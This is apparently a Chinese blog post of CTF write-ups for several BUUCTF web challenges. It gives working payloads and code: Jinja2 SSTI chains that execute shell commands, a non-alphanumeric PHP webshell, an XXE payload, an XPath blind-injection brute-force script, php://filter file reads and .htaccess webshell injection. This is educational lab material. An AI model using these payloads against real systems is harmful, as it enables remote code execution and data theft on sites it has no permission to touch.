记:上周抽空刷的BUU题目,记录一下解题过程的同时与大家分享交流
一个查询页面,提交东西提示wrong
有个源码链接,我们点开看一下
Can you guess it?
Can you guess it?
If your guess is correct, I'll give you the flag.
= $message ?>
看提示说是flag在config.php里,现在就是要考虑如何访问
我试了试直接访问
http://411cb6a3-6152-413f-b8cd-f20124132402.node4.buuoj.cn:81/index.php/config.php
//I don't know what you are thinking, but I won't let you read it :)
我们看下代码
发现有个没见过的basename()函数
basename() 函数返回路径中的文件名部分。
括号里面的$_SERVER[‘PHP_SELF’]的作用是,获取当前页面地址,是当前 php 文件相对于网站根目录的位置地址
比如 p a t h 是 / v a r / w w w / h t m l / i n d e x . p h p , 那 么 ‘ b a s e n a m e ( path是/var/www/html/index.php,那么`basename( path是/var/www/html/index.php,那么‘basename(path);` 就是index.php
我们要想访问config,但是config.php被正则过滤了
本题目利用的是basename()漏洞
用不可显字符绕过正则(后面加 %80 – %ff 的任意字符)
构造
/index.php/config.php/%ff?source
因为index.php?source读取源码的,所以我们构造上面的链接。
即可出来flag
知识点:
php5.3:basename()函数漏洞
$_SERVER[‘PHP_SELF’]全局变量
一眼模板注入,F12看到变量名search,和GET
于是测试
?search={{7*7}}
执行了
于是我们
a. 获取变量[]所属的类名 {{[].class}}
页面回显
b. 获取list所继承的基类名 {{[].__class__.__base__}}
页面回显
c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
经过查询后,可以借助的类
71位的payload
看目录
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
看看flasklight
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
app.py coomme_geeeett_youur_flek
肯定是长的那个,我们直接读取一下
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}
但我试了没有成功不知道为啥
我们再看没含os的
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
b. 读取目录flasklight
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
cat
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
贴一个博客,感觉可以看出上面os模块的为啥不行
https://www.cnblogs.com/Article-kelp/p/14797393.html
进去是个购买页面,显示我们钱50,是不够买flag的,抓包买一个1块钱的东西看一下
回显
eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==
base64解码一下
{"money": 48, "history": ["Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]}
可以联想到是一个很简单的cookie伪造,我们解码后改一下需要的钱将id按顺序改成2
发包解码出现flag
开局模板注入
由于不知道传参的变量名,所以利用了工具arjun来爆破url参数
爆破出来参数name
接下来就是
http://58551dce-c669-4230-8a03-dfba594caf8e.node4.buuoj.cn:81/?name={{7*7}}
回显49,说明可行
/?name={{().__class__.__bases__[0].__subclasses__()}}
进一步
name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
发现flag.txt
直接cat
?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")}}
啥都没有看源码
GFXEIM3YFZYGQ4A=
base32解码
1nD3x.php
于是我们看下
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
代码审计,可以看到过滤了好多东西
首先
f($_SERVER)
之前有过类似的题,可以通过url编码绕过
(preg_match(’/^aqua_is_cute$/’, $_GET[‘debu’]) && $_GET[‘debu’] !== ‘aqua_is_cute’)
限定了开头,我们可以换行符绕过
?debu=auqa_is_cute%0a
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
这里变量覆盖漏洞,之前也做过类似的
同时GET和POST同一个参数就可以绕过
file_get_contents($file) !== 'debu_debu_aqua'
我们可以data协议绕过
sha1($shana) === sha1($passwd) && $shana != $passwd
数组绕过
看到这属实麻了,太多东西了不知道如何构造,看完payload后更乱了
源码
not found\n";
}
} else {
$content = 'invalid request
';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
body获取post数据, 对body变量进行json解码判断body变量是否有效,json数据要有page
从page中读出文件名,并读取文件,检查content是否有效,即不能明文传输flag文件,利用php伪协议绕过如果查到content里有相关的ctf字样,则用censored替代,最后输出
我们利用josn转义绕过,
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
直接伪协议读取
考察无字符的一句话木马
有个文件上传点和一串代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
直接上传一句话,发现可以上传,但是检测非法字符
尝试很多次之后感觉把什么都给过滤了,考虑到是无字符过滤,之前看过一个博客讲的很详细
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
于是我们可以编图片马
=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
访问上传地点直接post
a=env出flag
该 XML 文件并未包含任何关联的样式信息。文档树显示如下。
alice
passwd1
Alice
[email protected]
CSAW2019
bob
passwd2
Bob
[email protected]
CSAW2019
写个XML文件
]>
bob
passwd2
Bob
[email protected]
CSAW2019
&xxe;
转换成utf-16编码绕过
iconv -f utf8 -t utf-16 2.xml>1.xml
上传1.xml即可
考察一个没见过的知识点xpath注入
一个登陆界面,奇怪的一点是一定时间内就让刷新页面登陆超时,推测登录的时候一个session只能存在一定的时间
我们抓包试一试
发现了比较奇怪的一段
admin admin 40021de56c0a2bc8386111891TYzNjg2
这里参考博客https://www.cnblogs.com/backlion/p/8554749.html
推测是xpath类型的注入
xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注
找到了网上有爆破脚本
import requests
import string
import time
import re
session = requests.session()
base_url = 'you_address'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"
chars = string.ascii_letters+string.digits
def get_csrf():
res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text
return re.findall(' ', res)[0]
target = 'string(/*[1]/*[1]/*[2]/*[3])'
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '{username} 1 {token} '
result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Content-Type': 'application/xml',
'Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}
for i in range(20, 35):
for j in chars:
time.sleep(0.2)
temp_payload = payload.format(target=target, index=str(i), char=j)
token = get_csrf()
temp_data = data.format(username=temp_payload, token=token)
res = session.post(url=base_url+'login.php',
data=temp_data, headers=headers)
# print(temp_data)
# print(res.text)
# print(len(res.text))
if len(res.text) == 5:
result += j
break
print(result)
上面这个不太好用
import requests
import re
s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php'
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "'or substring(name(/*[1]), {}, 1)='{}' or ''=' 3123 {} ".format(i,j,token[0])
#猜测子节点名称
payload_2 = "'or substring(name(/root/*[1]), {}, 1)='{}' or ''=' 3123 {} ".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''=' 3123 {} ".format(i,j,token[0])
#猜测user节点
payload_4 ="'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''=' 3123 {} ".format(i,j,token[0])
#跑用户名和密码
payload_username ="'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''=' 3123 {} ".format(i,j,token[0])
payload_password ="'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''=' 3123 {} ".format(i,j,token[0])
print(payload_password)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text)
if "非法操作" in r.text:
flag+=j
print(flag)
break
if "用户名或密码错误!" in r.text:
break
print(flag)
注意:爆破的时候要注释其他的payload
跑出来
gtfly123
e10adc3949ba59abbe56e057f20f883e
adm1n
cf7414b5bdb2e65ee43083f4ddbc4d9f
密码MD5解密后就是gtfly123
进去看源码
ZmxhZyBpcyBpbiAvZmxhZwo=
BASE64解码
flag is in /flag
因为url里有file=,据此我们推测是否能有伪协议
?file=pHp://filter/convert.bASe64-encode/resource=/flag
测试大小写可以绕过
ZmxhZ3thYTA1MmYwMC1jYTg5LTRjYmYtOTExYS1jNmIyOTA4MjM5Yzh9Cg==
解码
flag{aa052f00-ca89-4cbf-911a-c6b2908239c8}
看完源码,发现只有index.php能够被解析执行
根据这个条件,我们利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话
写入shell参考
https://blog.csdn.net/LYJ20010728/article/details/116538926
先写入.htaccess
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\\&f ilename=.htaccess
再直接通过php://filter伪协议写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
但上面方法我没有成功
方法二#
可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\&filename=.htaccess
flag{2cbbcf14-ca35-4676-a652-fe99370be983}